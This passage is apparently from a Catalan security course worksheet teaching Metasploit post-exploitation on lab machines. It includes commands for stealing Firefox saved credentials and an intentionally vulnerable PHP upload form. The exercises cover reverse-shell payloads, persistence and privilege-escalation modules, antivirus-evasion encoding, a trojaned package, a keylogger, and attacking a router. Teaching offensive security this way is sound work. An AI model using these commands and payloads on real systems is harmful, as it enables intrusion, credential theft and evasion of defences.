NOTA: La ruta de la carpeta on es guarda el perfil del Firefox (és a dir, la carpeta "xxxx.default") pot ser, tal com acabem de dir, diferents segons el mètode amb què s'hagi instal·lat aquest programa: si s'ha instal·lat via repositoris de paquets, aquesta carpeta estarà dins de "**$HOME/.mozilla/firefox**"; si, en canvi, s'ha instal·lat mitjançant la tecnologia Flatpak, la carpeta del perfil estarà llavors dins de "**$HOME/.var/app/org.mozilla.firefox/.mozilla/firefox**" ; si s'ha instal·lat, en canvi, mitjançant la tecnologia Snap, la carpeta del perfil estarà dins de "**$HOME/snap/firefox/common/.mozilla/firefox**". En tot cas, aquesta informació es pot obtenir escrivint about:profiles en la barra d'adreces del Firefox
NOTA: Per configurar la gestió general de les contrasenyes guardades al perfil del Firefox cal anar a l'apartat about:preferences#privacy i, més en concret, a about:logins

b) En principi hi ha un altre mòdul de "post-explotació" que serveix per obtenir els fitxers "logins.json" i "key4.db" dels perfils Firefox trobats a les màquines víctima i que s'anomena "post/multi/gather/firefox_creds" (executant-se, doncs, així: *run post/multi/gather/firefox_creds*) però no funciona. De totes maneres, l'únic que necessitem fer és descarregar-nos aquests dos fitxers, cosa que es pot fer molt fàcilment així des d'una sessió Meterpreter oberta:

ls /home/asix2/.mozilla/firefox
download /home/asix2/.mozilla/firefox/xxxxx.default/logins.json
download /home/asix2/.mozilla/firefox/xxxxx.default/key4.db

NOTA: És possible que el fitxer "logins.json" no existeixi; si és així, és perquè l'usuari víctima no ha guardat res en el gestor de contrasenyes del Firefox encara. Per tant, hauràs d'entrar primer amb aquest Firefox en algun lloc que et demani les teves credencials personals (el correu, alguna xarxa social, etc), introduïr-les i indicar, en el quadre emergent, que vols que el navegador les guardi. Un cop fet això, llavors sí que hauria d'aparèixer aquest fitxer

bII) Un cop ja tenim els dos arxius recopilats a la màquina atacant, podrem observar per exemple el contingut de "logins.json" amb la comanda jq (així: *jq "." logins.json*), on es podrà comprovar que, efectivament, el nom dels usuaris i les seves respectives contrasenyes utilitzats als diferents llocs que estan allà guardats es troben xifrats. Per tant, necessitarem una eina que pugui desxifrar-los. Una eina molt senzilla per aconseguir això és "Firepwd" (https://github.com/lclevy/firepwd). Per instal·lar les seves dependències, descarregar-la i fer-la servir realitza els següents passos (com usuari normal)...:

pip3 install PyCryptodome pyasn1
wget https://raw.githubusercontent.com/lclevy/firepwd/master/firepwd.py
python3 ./firepwd.py -d .

...on el punt escrit darrera el paràmetre *-d* indica la ruta de la carpeta on es trobaran els arxiu "logins.json" i "key4.db" . ¿Què obtens per pantalla en realitzar la darrera de les anteriors comandes?

NOTA: Si no obstens res és possible que no tinguis cap usuari/contrasenya guardada encara. Fes, doncs, el següent: obre el navegador Firefox i vés a la teva bústia personal de correu; si entressis directament (perquè ja hagis entrat en algun moment anterior), surt de la sessió i torna a entrar escrivint de nou la teva direcció i contrasenya al formulari de login: en aquell moment el navegador hauria de preguntar-te si vols que emmagatzemi aquestes dades de login. Contesta que sí. Un cop fet això, pots tornar els apartats b) i bII) per obtenir el resultat desitjat
NOTA: Un altre programa similar a *firepwd* és "Firefox_decrypt" (https://github.com/unode/firefox_decrypt). No obstant, necessita no només tenir accessibles els fitxers "logins.json" i "key4.db" sinó tota la carpeta de perfil del Firefox

bIII) Sabent que l'arxiu "cert9.db" conté els certificats arrel de les CA reconegudes pel navegador, ¿de què creus que serviria executar en una sessió Meterpreter la comanda *upload cert9.db /home/asix2/.mozilla/firefox/xxxxx.default* havent "personalitzat" prèviament l'arxiu "cert9.db" en qüestió?

c) Existeixen força més mòduls de "post-explotació" (de dins de la categoria "gather") que ens permeten obtenir informació sobre el tipus, estat i funcionament del sistema víctima. De totes formes, molts d'ells no fan res més que executar diferents comandes de Linux per obtenir-ne els resultats. Per exemple:

*Digues quines comandes del sistema fa servir el mòdul "post/linux/gather/enum_system" consultant el seu codi font, que es troba disponible aquí (busca la funció *execute()*) i conclou per a què serveix:
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/enum_system.rb

*Digues quines comandes del sistema usa el mòdul "post/linux/gather/enum_network" consultant el seu codi font, que es troba disponible aquí (busca la funció *execute()*) i conclou per a què serveix:
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/enum_network.rb

*Digues per a què serveix el mòdul "post/linux/gather/enum_configs" consultant el seu codi font, que es troba disponible aquí (busca-hi la descripció i l'array *configs)*:
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/enum_configs.rb

NOTA: Altres mòduls similars són "post/linux/gather/enum_protections", "post/linux/gather/checkvm" o "post/linux/gather/checkcontainer", etc. També podem trobar mòduls d'obtenció d'informació multiplataforma sota la categoria "post/multi/gather". D'altra banda, també podem fer servir mòduls que no siguin d'obtenció d'informació sinó de manipulació de configuració: són els que es troben sota la categoria "post/linux/manage" (o "post/multi/manage"); un

exemple podria ser "post/linux/manage/iptables_removal" (cal ser root a la víctima per executar-lo) o també "post/multi/manage/shell_to_meterpreter"Més a https://github.com/rapid7/metasploit-framework/blob/master/modules/post

El problema principal dels exercicis anteriors és que hem hagut de copiar i executar manualment el binari "jajaja" en la màquina víctima. Hom podria pensar que una possible solució a aquest inconvenient podria ser copiar igualment aquest binari però havent-lo ocultat prèviament dins d'un altre fitxer aparentment inofensiu (una imatge, un document, etc) de manera que passés inadvertit per l'usuari, el qual l'executaria igualment però pensant-se en aquest cas que estaria obrint la imatge o el document en qüestió en lloc (o a més a més) d'executar el "payload" amagat. El problema d'aquest plantejament no és incloure el codi del "payload" dins del fitxer "mare" escollit (tot i que per no corrompre aquest fitxer "mare" i poder-lo seguir obrint sense errors -i així passar el "payload" més desapercebut encara- a vegades pot ser complicat degut a no poder anar més enllà de l'estructura binària prefixada que tingui el format del fitxer "mare" en qüestió) sinó aconseguir que es pugui executar, ja que, per defecte, i com és normal, tot el contingut inclós dins d'un fitxer no executable és considerat dades i no pas codi per les llibreries i programes encarregats de llegir-lo (el visor de fotos, el editor de documents, etc).

NOTA: Una opció podria ser afegir els paràmetres *-x /ruta/binari -k* a la comanda *msfvenom* usada per generar el "payload". D'aquesta manera, aquest "payload" quedaria ocult en un altre fitxer que, això sí, seria igualment un executable. Per tant, l'usuari hauria de provar d'executar-lo igualment de forma explícita.

L'ideal, no obstant, seria que tant la introducció com la posterior execució del "payload" es fes de forma automàtica. Però per això la màquina víctima ha de proporcionar un mètode vulnerable per realitzar aquestes dues accions; la primera se sol aconseguir explotant alguna vulnerabilitat d'algun determinat servei (SSH, HTTP, NFS, etc) accessible des de l'exterior que "obri la porta" a desar el "payload" (en disc o en memòria, depèn) i la segona se sol aconseguir construint el "payload" de tal manera que pugui ser executat sense intervenció humana (per exemple, a través d'una tasca programada definida al sistema víctima) o bé que pugui ser executat remotament sota demanda i sense que l'usuari local se n'adoni (per exemple, essent interpretat per PHP cada cop que l'atacant visiti una determinada web que tindrà el codi incrustat del "payload"), etc.

NOTA: Un cop s'ha explotat un determinat servei (i, per tant, ja s'ha aconseguit la implantació i execució d'un determinat "payload") en el sistema víctima, un segon pas que se sol intentar és l'explotació local d'alguna vulnerabilitat (normalment del seu kernel) per tal d'escalar privilegis (és a dir, per passar de ser un usuari sense privilegis a l'usuari administrador del sistema víctima.

La idea del següent exercici serà introduir un "payload" en format PHP dins d'aquesta màquina gràcies a la possibilitat de pujar fitxers via un hipotètic formulari que hi hagués disponible. En ser un "payload" PHP, un cop pujat es podria executar sota demanda només invocant-lo com si fos una pàgina web.

3.-a) Instal·la a la màquina real un servidor Apache i l'intèrpret PHP (en Ubuntu això es fa així: *sudo apt install apache2 libapache2-mod-php* i a Fedora així: *sudo dnf install httpd php*); si estàs treballant a la màquina de l'aula, però, això no caldrà que ho facis perquè ja està fet.

aII) Crea a la màquina real una carpeta anomenada "uploads" dins de "/var/www/html" (o bé, si estàs a la màquina de l'aula, dins de "~/public_html"). Si tries la primera opció, canvia-li llavors el propietari per a què sigui l'usuari de l'Apache (en Ubuntu es fa així: *sudo chown -R www-data:www-data uploads* i en Fedora així: *sudo chown -R apache:apache uploads*).

b) Crea un arxiu anomenat "hola.html" dins de "/var/www/html" i escriu el següent codi HTML, el qual representa un formulari que permet la pujada de fitxers:

```
<!DOCTYPE html><html><body>
<form action="upload.php" method="post" enctype="multipart/form-data">
        Tria imatge per pujar:
        <input type="file" name="unfitxer">
        <input type="submit" value="Pujar fitxer">
</form></body></html>
```

c) Crea un arxiu anomenat "upload.php" dins de "/var/www/html" i escriu el següent codi PHP, el qual rebrà del formulari el fitxer "pujat" i el guardarà dins de "/var/www/html/uploads" amb el nom original que tingui:

```
<?php
$uploaddir = '/var/www/html/uploads/';
$uploadfile = $uploaddir . basename($_FILES['unfitxer']['name']);
if (move_uploaded_file($_FILES['unfitxer']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {  echo "Possible file upload attack!\n";  }
echo 'Here is some more debugging info:';
print_r($_FILES);
?>
```

NOTA: El codi anterior és vulnerable perquè no fa cap control sobre el tipus de fitxers que s'hi pot pujar: ni es comprova l'extensió ni el tipus ni el tamany, ni si ja existeix... Un codi una mica més complet que sí fa aquestes comprovacions (encara que no serien tampoc suficients) és https://www.w3schools.com/php/php_file_upload.asp
NOTA: En comptes de mostrar el missatge de depuració que es veu un cop s'ha realitzat la pujada, el codi PHP anterior podria redirigir-nos transparentment a una altra pàgina web. Això es pot fer afegint l'ordre *header("Location:http://ip.serv.Apache/onsigui.html")*

d) Accedeix des de la màquina virtual al formulari HTML i comprova que hi pots pujar qualsevol fitxer. Confirma que, efectivament, aquest fitxer apareixi dins de la carpeta "/var/www/html/uploads"

NOTA: Et podries estalviar usar el formulari HTML a l'hora de pujar fitxers (això és útil, per exemple, si estàs treballant en una màquina sense entorn gràfic) si directament els pujes fent servir *curl*, així:
curl -F unfitxer=@elfitxerqueesvulguipujar.png http://ip.serv.web/upload.php

e) Executa a la màquina virtual (la màquina atacant) la comanda *msfvenom -p php/meterpreter/reverse_tcp LHOST=ip.Maq.Virt -f raw -o shell.php* i seguidament observa el contingut del fitxer "shell.php" generat. ¿Què veus? Utilitza el formulari HTML (o la comanda *curl*) per pujar aquest fitxer al servidor Apache.

f) Crea a la màquina virtual un arxiu anomenat "manolo.rc" amb el següent contingut...:

```
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST ip.Maq.Virt
run
```

... i executa tot seguit la comanda *msfconsole -q -r manolo.rc*. Executa llavors en un altre terminal la comanda *curl http://ip.Maq.Apache/uploads/shell.php* (o vés-hi amb un navegador, és igual). Comprova que, inmediatament, apareix una consola Meterpreter dins de *msfconsole* ¿En quina carpeta et trobes a la víctima? ¿Quin usuari ets i per què? Finalment, surt de Meterpreter i de *msfconsole*.

NOTA: A més del mètode POST, també existiria la possibilitat de pujar fitxers mitjançant el mètode PUT, si així s'hagués configurat en el servidor web. Això últim des de la màquina atacant ho podríem saber mitjançant l'ús de l'script "http-methods" de Nmap, per exemple. Un cop confirmat, podríem realitzar la pujada mitjançant *curl* o mitjançant l'script "http-put" de Nmap o mitjançant el mòdul "auxiliary/scanner/http/http_put" de Metasploit (on les úniques opcions que necessitaries establir -veue *show options*- són *FILEDATA file://ruta/fitxer/shell.php*, *RHOSTS ip.serv.web* i, opcionalment, *PATH* i *FILENAME*), entre altres.

Quan s'executa el programari maliciós (ja sigui mitjançant la seva implantació via email/exploit/etc com a l'exercici 2 o via pujada via formulari web com a l'exercici 3), les instruccions del fitxer binari es carreguen a la memòria. No obstant, existeix la possibilitat de no haver d'"injectar" cap fitxer físic dins del disc dur de la víctima sinó d'utilitzar alguna tècnica de "fileless malware". Aquesta tècnica consisteix en executar les instruccions malicioses directament a la memòria del sistema víctima, sense instal·lar-se ni tocar per res, doncs, el seu disc dur. El truc aquí està en obtenir-les/descarregar-les en memòria d'un lloc remot (un servidor HTTP/FTP/... implementat pel propi atacant i accessible des de xarxa de la víctima) i llavors executar-les mitjançant ordres del propi sistema que ja venen "de sèrie" (sovint aquestes ordres són intèrprets -Python, Perl, Bash, PowerShell...-) D'aquesta manera, l'atac no deixarà cap rastre persistent perquè només serà visible temporalment a la RAM mentre s'estigui executant, però la gràcia és que el codi maliciós no és executat per cap programari sospitós sinó per un intèrpret del propi sistema, així que passarà desapercebut). Depenent, a més, de com siguin aquestes instruccions malicioses, si aconsegueixen establir algun mecanisme de persistència, es podrien executar de nou en reiniciar el sistema (en tot cas, suspenent/hibernant l'ordinador víctima no es matarà el procés dolent).

4.-a) A la màquina virtual executa de nou la comanda *msfconsole -q* , i a la consola interactiva escriu les comandes necessàries per posar en marxa un servidor web integrat dins de Metasploit que oferirà un payload (en aquest cas de nou de tipus Python). És a dir, escriu:

msf6 > **use exploit/multi/script/web_delivery**
msf6 exploit(web_delivery) > **set LHOST ip.Maq.Virt**
msf6 exploit(web_delivery) **> set LPORT 4444**
msf6 exploit(web_delivery) **> set TARGET 0**
msf6 exploit(web_delivery) > **set PAYLOAD python/meterpreter/reverse_tcp**
msf6 exploit(web_delivery) > **run**

NOTA: L'opcio "TARGET" serveix per triar el tipus d'intèrpret (que haurà d'estar present al sistema víctima) que es pretén que executi el codi maliciós; el valor "0" equival a l'intèrpret Python (es pot veure la llista d'interprets disponibles i el seu valor corresponent amb la comanda *show targets*). Un cop triat el "target", el "payload" a utilitzar haurà de ser algun de coherent

b) Observa com, en finalitzar l'apartat anterior, apareixerà a la pantalla de la consola Metasploit una línia de codi Python. Aquesta línia és la que s'haurà d'executar al sistema víctima per tal de descarregar el codi maliciós i executar-lo per tal d'obrir una sessió Meterpreter. Òbviament, aquest és el pas més difícil: aconseguir que algú/quelcom executi aquesta línia al sistema víctima.... En aquest cas, fes-ho "manualment": obre un terminal a la màquina real i copia-pega aquesta línia per executar-la. Hauràs de veure que immediatament s'obre una sessió Meterpreter a la màquina atacant

c) A la consola de Metasploit, executa la comanda *sessions -l* per veure que, efectivament, hi ha una sessió oberta (en principi haurà de ser la nº1) i tot seguit executa, doncs, la comanda *sessions -i 1* per entrar-hi

d) Un cop a dins, ja podràs executar les comandes habituals de Meterpreter. En concret, però, executa l'exploit "exploit/linux/local/autostart_persistence" i associa'l a la sessió nº1 de Meterpreter, així. ¿Què fa aquest exploit (pots obtenir informació amb la comanda *info*)?

use exploit/linux/local/autostart_persistence
set SESSION 1
run

NOTA: Els exploits de la categoria "exploit/linux/local" s'han d'executar contra una sessió local ja existent. És per això que normalment serveixen per escalar privilegis (com veurem a l'exercici següent) o obtenir persistència (com és el cas)
NOTA: Altres exploits similars a l'anterior (però que fan servir altres mecanismes per obtenir persistència) són "exploit/linux/local/service_persistence", "exploit/linux/local/bash_profile_persistence" o " exploit/linux/local/cron_persistence"
NOTA: A https://www.hackingarticles.in/command-injection-exploitation-using-web-delivery-linux-windows teniu més exemples d'aquesta tècnica (per víctimes Windows)

Un problema que té l'accedir amb Meterpreter a la màquina víctima gràcies a l'execució del binari "jajaja" (o de l'script PHP/Python) és que aquest accés es fa sent l'usuari que ha executat dit binari (o l'usuari de l'Apache en el cas de l'script PHP). Per tant, si aquests usuaris no són administrador de la màquina (el de l'Apache segur que no ho és), gaire cosa no podrem fer. Afortunadament, Metasploit incorpora uns quants mòduls d'explotació local que intenten, mitjançant l'aprofitament de vulnerabilitats conegudes, "**escalar privilegis**" i obrir una sessió com usuari administrador a la màquina ja penetrada. Aquest és, de fet, l'objectiu primordial de qualsevol atac un cop trencada la barrera d'accés: convertir-se en "root" d'alguna manera no prevista. L'exercici següent intentarà aconseguir això a la màquina real.

5.-a) Fes els passos necessaris per entrar en una sessió Meterpreter a la teva màquina atacant i seguidament posa la sessió Meterpreter en segon pla amb la comanda *background*

b) Executa la comanda *search arch:x64 platform:linux type:exploit rank:excellent kernel* a la consola *msfconsole* ¿Què obtens?

c) Executa algun dels exploits que han aparegut a la llista anterior d'aquesta manera (prova més d'un a veure si tens sort):

NOTA: En general, els exploits que apareixen a la llista mostrada seran de tipus "exploit/linux/local", el que vol dir, com ja s'ha comentat a l'exercici anterior, que s'han d'executar contra una sessió local ja existent -i, per tant, el més habitual és que serveixin per escalar privilegis...de fet la majoria d'aquests exploits tenen un nom que acaba en "priv_esc" o "privilege_escalation"-

use exploit/linux/local/...
info #Per saber els paràmetres particulars a establir en aquest exploit
set SESSION 1 #Un paràmetre que és obligatori sempre en aquest tipus d'"exploits" és la vinculació #amb la sessió Meterpreter que tinguem en marxa en aquell moment (en principi, #serà la nº1 perquè no n'hi cap més).
set PAYLOAD linux/x64/meterpreter/reverse_tcp #Paràmetre que sol caldre indicar explícitament
... #Si el payload triat estableix algun tipus de shell inversa, serà necessari també indicar la IP de la màquina atacant amb ***set LHOST* x.x.x.x**
run

Podràs veure si has escalat privilegis observant si la sortida de la comanda *sessions -l* et mostra una nova sessió (de Meterpreter, de shell...el que sigui) oberta amb l'usuari "root".

NOTA: Existeix un mòdul anomenat "post/multi/manage/sudo" que, si se sap la contrasenya de sudo i l'usuari que té oberta actualment la sessió en Meterpreter el pot fer servir, permetria obrir una altra sessió Meterpreter amb privilegis de "root". Però no funciona i té a veure amb aquest error: https://github.com/rapid7/metasploit-framework/issues/14369
NOTA: Si tinguéssim una sessió Meterpreter oberta com a "root", tindríem accés a diversos mòduls de "post-explotació" que només funcionen amb privilegis d'administrador, com ara "post/linux/gather/hashdump" (per obtenir els hashes guardats a l'arxiu "/etc/shadow") o "post/linux/gather/enum_psk" (per obtenir informació de seguretat relacionada amb les xarxes Wifi registrades a la víctima), etc

d) Surt de l'interior de l'entorn de l'exploit on estiguis ara mateix en la consola *msfconsole* (amb la comanda *back*) i ara executa-hi les comandes *use multi/recon/local_exploit_suggester -> session=1 -> run* ¿Per a què serveix aquest mòdul?

Un cop obtingut l'accés a una màquina remota, és útil tenir una llista de fitxers i comandes habituals del sistema per obtenir informació sobre en quin sistema estem i, a partir d'aquí, per què no, descobrir possibles mètodes d'escalada de privilegis (més enllà dels mòduls propis de Metasploit). En diferents llocs d'Internet hi ha publicades llistes força completes (veure nota següent) però bàsicament en general totes elles pretenen respondre les següents preguntes:

*What is the distribution type, and version?
*What is the Kernel version?
*Is this system running inside a container? Which kind of container? How could I escape from it?
*What services/processes are running, and in which user-context?
*What are the versions of the running services?
*Do any of these services have vulnerable plugins or configurations?
*What applications are installed, and what versions?
*What configuration files can be read/written in "/etc" ?
*What information or content can be found in "/var" ?
*Which configuration has *sudo* in "/etc/sudoers" file (capable users and commands, NOPASSWD:...) ?
*What jobs are scheduled (in crontab file or systemd's timers)? Are they running with "root" privileges?
*Identify SUID and GUID files <--Una llaminadura!!
*How are file-systems mounted? Are there any unmounted file-systems?
*Are there any passwords in; scripts, databases, configuration files or log files?
*Can private-key information be found?
*Examine files in user home directories (if possible) What sensitive files can be found?
*Is it possible to write files to places that are in another users path?
*Identify world-readable and world-writable files via *find*
*What NICs does the system have?
*What are the network configuration settings?
*What other hosts are communicating with the system?
*Are there any cached IP or MAC addresses?
*Is packet sniffing possible, and if so what can be seen?

*Is SSH tunnelling possible?
*What development tools/languages are installed/supported?
*Where can code be executed?
*How can files be uploaded?

D'altra banda, des del punt de vista de la defensa, és necessari preguntar-se el següent:

*Have you made any of the above information easy for an attacker to find?
*Is the system fully patched? (Kernel, operating system, and all applications)
*Are services running with the minimum level of privileges required?

NOTA: A continuació es mostren diferents llistes de comandes i fitxers que podem executar/consultar per obtenir diferent tipus d'informació sobre un determinat sistema:

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation
https://www.rebootuser.com/?p=1623
https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
https://book.hacktricks.xyz/linux-unix/privilege-escalation
https://guif.re/linuxeop

Afortunadament, no ens cal respondre "a mà" les preguntes anterior ni tan sols provar "a mà" totes les comandes que hi apareixen en les llistes mencionades d'una en una perquè existeixen diversos Bash shell scripts que automatitzen moltes d'aquestes comprovacions, com per exemple **LinPEAS** (https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) o **LinEnum** (https://github.com/rebootuser/LinEnum)

6.-a) Torna a obrir una sessió Meterpreter contra la víctima dels exercicis anteriors però ara accedeix al seu shell (amb la comanda *shell*)

b) Des d'allà fes servir la comanda *wget* (que suposarem que està instal·lada a la màquina víctima...si no hi fos podríem provar amb *curl*) per descarregar l'script LinPEAS. Un cop descarregat, dona-li permisos d'execució i executa'l. ¿Quins punts dèbils detecta?

NOTA: Hem suposat que la màquina víctima té accés directe a Internet (això es pot comprovar fent des d'ella un simple "ping" a qualsevol domini d'Internet des del shell que hem obtingut via Meterpreter; si no el tingués, com que sí que té connexió amb la nostra màquina atacant, podríem implementar llavors un servidor HTTP a la nostra màquina atacant, descarregar-nos l'script en alguna carpeta publicada per aquest nostre servidor HTTP i fer llavors que la comanda *curl/wget* apuntés a l'script publicat pel nostre servidor. Per implementar un servidor HTTP a la nostra màquina es pot fer de múltiples formes...per exemple amb una simple comanda Python com aquesta: **python -m http.server 1234** (el qual compartirà al port 1234 el contingut de la carpeta des d'on haguem executat la comanda).
NOTA: És recomanable intentar descarregar els scripts en alguna ubicació volàtil (com ara "/tmp") per no deixar rastre

7.-a) ¿Quina diferència observes en el contingut dels payloads generats per les següents comandes (i mostrat a pantalla): *msfvenom -p cmd/unix/reverse_python -f raw* , *msfvenom -p python/shell_reverse_tcp -f raw* i *msfvenom -p python/shell_reverse_tcp -f py*

b) ¿Què veus per pantalla si ara executes *msfvenom -p cmd/unix/reverse_bash LHOST=ip.Maq.Virt -f raw* ¿Com faries servir aquest "payload" (si l'haguessis guardat en un fitxer afegint a la comanda anterior el paràmetre *-o shell.sh*) a la màquina víctima?

c) Vés a https://www.revshells.com ¿Quines opcions es mostren a la pestanya "Reverse" i per a què creus que serveixen? ¿I a la pestanya "Bind"? ¿I a la pestana "MSFVenom"? ¿Què pots triar a l'apartat "Listener"?

Un problema dels "payloads" de Metasploit és que són molt coneguts i, per tant, són detectables per molts antivirus. És per això que cal "codificar-los" de diferents formes per a què la seva estructura interna no sigui reconeguda i puguin passar desapercebuts. A continuació es mostrarà aquest fet i com solucionar-ho.

c) Vés a https://www.virustotal.com i, a la pestanya "Search" escriu el hash obtingut d'haver executat (a la màquina on el tinguis més a mà) la comanda *md5sum jajaja* (on "jajaja" és el "payload" que vas crear al primer exercici). ¿Què veus? ¿Per què?

NOTA: Pots indicar a Search altres hashes diferents de MD5: Virustotal reconeix SHA-1 o SHA256 entre altres
NOTA: No pugis cap fitxer a la pestanya "File" perquè llavors Virustotal en tindrà constància i ja serà reconegut per sempre

cII) Executa la comanda *msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ip.Maq.Virt -f elf* ***-e x64/xor*** *-o ~/jijiji* a la màquina virtual. ¿Per a què serveix el paràmetre indicat en negreta? Observa el contingut generat i genera el hash MD5 corresponent (els pots comparar amb el contingut i el hash de l'arxiu *jajaja* per confirmar que són diferents). a la pestanya "Search" de Virustotal escriu ara aquest nou hash. ¿Què veus ara? ¿Què explica, en aquest sentit, aquest article: https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates ?

NOTA: Si tornes a traspassar aquest nou fitxer "jijiji" a la màquina víctima i l'executes mentre a la màquina atacant tens en marxa l'arxiu "pepe.rc", veuràs que tornaràs a tenir una sessió Meterpreter com la del primer exercici

8.- ¿Per a què serveixen els següent mòduls? Pots fer servir la comanda *info* de *msfconsole*

auxiliary/scanner/mysql/mysql_version
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/ssh/ssh_enumusers
auxiliary/scanner/http/http_version
auxiliary/scanner/http/http_login
auxiliary/scanner/http/ssl
auxiliary/scanner/http/webdav_scanner (per saber què és webdav, mira https://desarrolloactivo.com/articulos/webdav)
auxiliary/scanner/http/webdav_website_content
auxiliary/scanner/http/robots_txt (per saber per a què serveix el fitxer "robots.txt" mira http://www.robotstxt.org)
auxiliary/scanner/http/dir_listing; *auxiliary/scanner/http/dir_scanner; auxiliary/scanner/http/files_dir*
auxiliary/scanner/http/wordpress_login_enum
auxiliary/scanner/smb/smb_version
auxiliary/scanner/smb/smb_login
auxiliary/scanner/smb/smb_lookupsid
auxiliary/scanner/smb/smb_enumshares; auxiliary/scanner/smb/smb_enumusers
auxiliary/scanner/vnc/vnc_none_auth
auxiliary/server/browser_autopwn2
auxiliary/server/capture/http
auxiliary/server/capture/http_basic
auxiliary/server/capture/http_javascript_keylogger
auxiliary/server/capture/mysql; auxiliary/server/capture/postgresql
auxiliary/server/capture/imap; auxiliary/server/capture/smtp
auxiliary/server/capture/smb
auxiliary/server/capture/vnc
auxiliary/server/dhcp
auxiliary/dos/dhcp/isc_dhcpd_clientid
auxiliary/dos/http/apache_range_dos
exploit/multi/script/web_delivery
exploit/multi/misc/openoffice_document_macro

NOTA: La majoria dels mòduls anteriors només necessiten establir l'opció RHOSTS per indicar el servidor (o xarxa) a investigar però en algun cas necessiten alguna configuració addicional. Recomano executar *show options* per assegurar-se

9.-a) Segueix els passos indicats a https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan i envia el paquet deb infectat a un company. Comprova si resulta compromès.

b) Segueix els passos indicats a https://blog.rapid7.com/2012/02/21/metasploit-javascript-keylogger fent servir la web "Demo". Demana a un company que accedeixi a aquesta web. ¿Què passa? ¿Què és el que fa aquest mòdul a la víctima per tal de poder funcionar i, en aquest sentit, com utilitzaries Mitmproxy juntament amb aquest mòdul de Metasploit i per què?

10.-a) ¿Per a què serveix la comanda *timestomp* de Meterpreter (només disponible en la seva versió per Windows): https://www.hackingarticles.in/anti-forensic-swipe-footprint-with-timestomp?

b) ¿Què expliquen els articles https://pentestlab.blog/2017/09/26/command-and-control-twitter i https://www.offensiveosint.io/command-and-control-server-in-social-media?

c) Llegeix https://github.com/rapid7/metasploit-framework/wiki/Python-Extension i digues què s'hi explica

Un "router" també pot ser víctima d'un "exploit", en general, l'objectiu d'un "exploit" llençat contra un "router" serà autenticar-s'hi de manera que tingui accés directament a les seves funcions administratives. A partir d'aquí, un atacant podria conèixer (i canviar) contrasenyes de Wifi, espiar/manipular el trànsit que travessa el router, injectar programari maliciós als navegadors per explotar els dispositius connectats a la xarxa, fer atacs de phishing... i fins i tot un atac "rootkitting", que consisteix en substituir el firmware del router per un altre firmware personalitzat que habilita funcions malicioses avançades. Podeu veure informació sobre els darrers errors trobats als encaminadors a https://routersecurity.org/bugs.php

"**RouterSploit**" (https://github.com/threat9/routersploit) és un programa Python que automatitza la majoria de les tasques associades al procés de comprometre un enrutador. Conté mòduls d'exploració i explotació. El seu funcionament i les seves ordres són similars a les de Metasploit.

11.-.a) Instal.la RouterSploit a la màquina virtual executant les següents comandes:

sudo apt install python3-pip git
git clone https://github.com/threat9/routersploit
cd routersploit && python3 -m pip install setuptools && python3 -m pip install -r requirements.txt

NOTA: Per actualitzar pots fer: *cd routersploit && git pull*

b) Un cop instal·lat, executa'l així: *cd routersploit && python3 rsf.py* Les comandes internes bàsiques són:

show all
use scanners/autopwn
show options
set ...
use exploits/...
run

Prova-les amb la porta d'enllaç del centre (si no recordes quina és, la pots saber observant la sortida de *ip route show*). Si l'explotació ha sigut exitosa, haureu pogut esbrinar el número de sèrie (dada important per seguir investigant les característiques de l'encaminador) i, sobre tot, l'usuari i contrasenya de l'administrador (segons el mòdul empleat, podreu fins i tot injectar codi remotament...el que podríeu executar concretament dependrà de quina vulnerabilitat concreta hagi sigut explotada).

NOTA: Tot i que Autopwn és una característica convenient de RouterSploit, prova molts exploits diferents i, per tant, és molt sorollós a la xarxa. L'opció preferida seria escanejar el vostre objectiu, reconèixer-lo i llavors executar només els mòduls rellevants per al fabricant d'aquest router en concret